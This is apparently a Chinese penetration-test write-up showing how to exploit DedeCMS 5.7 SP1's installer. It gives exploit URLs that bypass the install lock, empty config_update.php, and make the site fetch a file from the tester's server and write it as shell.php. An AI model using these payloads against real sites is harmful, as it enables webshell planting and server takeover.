记一次对dedecms的渗透测试

本文涉及的产品
.cn 域名,1个 12个月
简介: 记一次对dedecms的渗透测试

我们打开网站后可以看到是dedecms的网站,很明显

他的默认后台目录就是dede,这更加让我确定是dedecms了,而且还告诉我们了是dedecms5.7sp1的版本,我们可以去百度搜索一下这个版本的漏洞

我们继续,首先我们看一下他是否带了安装锁

发现有安装锁

我们直接通过变量覆盖的方式进行重装

payload:


http://域名或者ip地址/install/index.php?insLockfile=1


直接进入安装界面

我们这时只有变量覆盖还不够, 我们这样搞,

去代码审计一下,可以自己找一套源码来也可以去网上找一下教程

这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost


$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。

因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。

由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。

这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL

然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。

原理讲解完毕,构造payload


http://ip或者域名/install/index.php?step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php

这时我们通过审计代码得知这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制

我们再次构造payload进行测试


http://ip或者域名/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php


这时我们再次审计源码会得知config_update.php会发现已经变为0kb,空文件

config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了

我们在公网服务器创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务

再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP

payload:


http://或者域名/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://你的公网ip地址

我们这时就可以进行访问页面了

phpinfo页面已经出来了,漏洞利用成功,我们下期见

目录
相关文章
|
10天前
|
Devops Shell 网络安全
Neos的渗透测试靶机练习——Wakanda
Neos的渗透测试靶机练习——Wakanda
13 2
|
测试技术 开发工具 git
搭建DVWA渗透测试平台
搭建DVWA渗透测试平台
195 0
|
关系型数据库 MySQL 网络安全
渗透测试——DVWA环境部署
渗透测试——DVWA环境部署
201 0
|
安全 Linux 网络安全
2022-渗透测试-推荐一款好用的网站漏洞扫描工具-WPscan
2022-渗透测试-推荐一款好用的网站漏洞扫描工具-WPscan
2022-渗透测试-推荐一款好用的网站漏洞扫描工具-WPscan
|
网络安全 数据安全/隐私保护
2022-渗透测试-OWASP靶机的安装
2022-渗透测试-OWASP靶机的安装
2022-渗透测试-OWASP靶机的安装
|
SQL 安全 网络协议
2022渗透测试-推荐一款漏洞扫描工具-AWVS安装与使用
2022渗透测试-推荐一款漏洞扫描工具-AWVS安装与使用
2022渗透测试-推荐一款漏洞扫描工具-AWVS安装与使用
|
开发框架 安全 前端开发
2022渗透测试-文件上传漏洞的详细讲解
2022渗透测试-文件上传漏洞的详细讲解
2022渗透测试-文件上传漏洞的详细讲解
|
安全 Ubuntu Linux
阿里云,为渗透测试锦上添花
你想年薪百万吗?你想拥有豪车豪宅,温柔可爱的另一半吗?你想毕业之前找到心仪的工作,并且实现财务自由吗?我来告诉你最快的秘诀:做梦。 万丈高楼平地起,一砖一瓦皆根基。 长夜漫漫,我在做题,灯火阑珊,我在做题,阖家团圆,我还在做题。我为什么要做题?
310 1
|
SQL 安全 网络安全
渗透测试中php代码漏洞挖掘
国内学习漏洞挖掘的习惯所谓奠定基础,学习各种编程书籍,然后学习漏洞挖掘,问题是不可能控制学习编程的程度。其次,外国学生通常必须学习这一过程,初学者最好不要上手就去搞漏洞挖掘,因为漏洞挖掘需要很多的系统基础知识和一些理论知识做铺垫,而且难度较大,较合理的途径应该从漏洞利用入手,不妨分析一些公开的CVE漏洞。很多漏洞都有比较好的资料,分析研究的多了,对漏洞的认识自然就不同了,然后再去搞挖掘就会易上手一点!俗话说:“磨刀不误砍柴工”,就是这么个理儿。对于有一些基础知识的初学者,应该怎样进行漏洞挖掘呢?
199 0
渗透测试中php代码漏洞挖掘
|
安全 JavaScript PHP
如何对ecshop网站漏洞进行修复防止被入侵
ecshop目前最新版本为4.0,是国内开源的一套商城系统,很多外贸公司,以及电商平台都在使用,正因为使用的人数较多,很多攻击者都在挖掘该网站的漏洞,就在最近ecshop被爆出高危漏洞,该漏洞利用跨站伪造函数,来对网站数据库进行攻击。
401 0
如何对ecshop网站漏洞进行修复防止被入侵